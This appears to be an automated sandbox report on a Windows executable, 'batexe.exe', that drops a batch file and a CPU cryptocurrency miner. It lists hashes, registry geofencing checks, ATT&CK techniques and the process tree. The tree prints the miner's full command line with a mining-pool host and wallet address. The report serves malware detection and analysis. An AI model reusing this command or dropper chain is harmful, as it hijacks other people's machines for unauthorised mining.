73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19-02-2024 14:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2716	b2e.exe
5392	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5392	cpuminer-sse2.exe
5392	cpuminer-sse2.exe
5392	cpuminer-sse2.exe
5392	cpuminer-sse2.exe
5392	cpuminer-sse2.exe
5392	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1480-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 2716	1480	batexe.exe	85
PID 1480 wrote to memory of 2716	1480	batexe.exe	85
PID 1480 wrote to memory of 2716	1480	batexe.exe	85
PID 2716 wrote to memory of 464	2716	b2e.exe	86
PID 2716 wrote to memory of 464	2716	b2e.exe	86
PID 2716 wrote to memory of 464	2716	b2e.exe	86
PID 464 wrote to memory of 5392	464	cmd.exe	89
PID 464 wrote to memory of 5392	464	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3C0A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

Filesize
12.2MB

MD5
8c2c88d4f62cb50bce39aa8826b7b999

SHA1
e5ac90ac2705dc6046b08f01ac82d3042e4d7a5f

SHA256
a46a16bd5c15624b109f0c25d17075cab777577d554e07ad7fa050ba35110612

SHA512
2106d283792621c71ec3b5705df25ee12bec02e65ce410f242bcee98188dcecc867ddba7aabb3a18cdd70f4dddec8715caaad6b4dd5962a107e07787a7f52189

Download Submit
C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

Filesize
4.7MB

MD5
c423cd8647d37f20609933a1edb6c187

SHA1
3bb2512b5e2ceae1f59e482d03a3924cdd1e5fec

SHA256
c21a0110bbbd49421d838b84caf8df82c0211e88c6092dd047774ccb3e0ea69a

SHA512
6a136d2156fb64d32a680c5edaf186d89d1faf69a02bd823d18c2ed0da43f4a1aeea4de14567748adcfcd05b61bf4d579b2c8537a066dc2a97e9e038a4a36f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\2F0A.tmp\b2e.exe

Filesize
3.8MB

MD5
08b4b68f38c0d3e1fcbf8b442c8c1cc8

SHA1
958cccb9239ffd2d4d87e2e459664e792cd32691

SHA256
01798610bfa02da58aef6147b7e487a28250719ae8e34165ee55ebcd49eb718b

SHA512
3c708f4d8a96e43c1ae9e402284328eafcdca31fcae297724f371d43de7ae15000e8ef66b049bee1fa69c0412ca6ca4347a834c05e4ecdaf11bcade7b9ad7b95

Download Submit
C:\Users\Admin\AppData\Local\Temp\3C0A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
237KB

MD5
6199666a96dfb847af5e6b65250edf01

SHA1
fa2110ae4811c802fded5d05986468f5d68e9746

SHA256
206aeedab775e83239214e930d7535e4abaeb80fcbf6749bfe3aa1b0b12e29c7

SHA512
31f9b7353b021e5ecea6819c28cb4e50d53bdabc7d1de54b5ba82081b2a2682a63d5d763d18e7c4981af8e43fc52e84358b285991bf5763abad0f93a36c33572

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
196KB

MD5
b8a0738ccab35354fb8afc7df13c9bd4

SHA1
7c95f8533da71573d644e0b3cfe578619a45bc75

SHA256
8b1df5b0d5404777b56f417114b8d82226ba7cdd4802ef176defd155c441a940

SHA512
862ab383bb4b3c1e0475f5e3e66366216db19522e31e97c37a4133866a99830a0b00eba2b8da1ba2bd9c820511faa02ede7cf10ef01548390d6770ab76e3c948

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
68KB

MD5
19a625c6ebe8d2761f513ebba49ee3f1

SHA1
1c1481cd96fb5f7ba6495f59e07657c1879990f8

SHA256
6e3d399f6e5de8516ad41e868cd662aea1a511fec2f3cf1765d7b0b8ad6d23ec

SHA512
5441cf4b2151303489078b798fd08ba5d14820e68abf72a529f9de7874df21a13ae899f5f921de2fad762d5e6a3dc3e58818d674fab180a62b9db2bee75a527c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
57KB

MD5
e1decfb90b3eaca98b405d96c3f20dca

SHA1
b64766693a58cde8a9a2e6abc6f826de9ed4f904

SHA256
bbf5f3ce3eb31dab5f108303948c582911dec01f5dee104c29b7039698bdfd1e

SHA512
07c049a8469bf3e0302c9d8dd79f9ecd2cab235f3c9ec2263429aa6e71d6ed280cf1063e726bb8b841750a87536cdf2b193c9651dd1bb2a98f76c7cce67f3607

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
273KB

MD5
377f816f5ee4adfa662b0b17ca93ba7f

SHA1
45119352639c2e1a01bec1ea5753758be6d8033e

SHA256
ae4a7bb23ef0ba036bcb4e2d2aff8f6b5da86de142a7744459b7dd5d634781e7

SHA512
e05faebfdc671480073dfb4904fc89412adceb2af5f2293a61144addd947654d1bb1c068e406c80789391f6e30405c32d1e9ba97149352696365d654a188cb9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
373KB

MD5
6b9c52298e77c9f12afe0c66625b35d8

SHA1
55c00d3591429dbde613ab93581c9678efd4df27

SHA256
d789df3fbabd736182661fc497abbd62fe12a3fe3b265efc11de460851a61fd1

SHA512
86e9269436b2abe79330d37345034cc37f6cb10b802e157b9334dca1c96f62dd822318630bd0149e1cd48516048f6c0ffae37ad3ec1c8b13375ee0c0bbaefe06

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
111KB

MD5
a341c1e69863277ea6705d2fc4b9e154

SHA1
7bc9842e9c492c5ba006c240c7a45b9cc6396612

SHA256
636f754886f053d963a8f428a07d3f1ed9b68bf0e4202fc4180c67a799295f0c

SHA512
17acd58d4d1d2b7bd509d4e0b7a58dd1486ba4962608e42073d72e8480667dd14d2d0188611def3a4ea645109f7d8007e9427c2ac2efd3ad5b08ca667335bac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1480-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2716-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2716-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5392-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5392-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5392-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5392-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5392-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5392-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5392-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download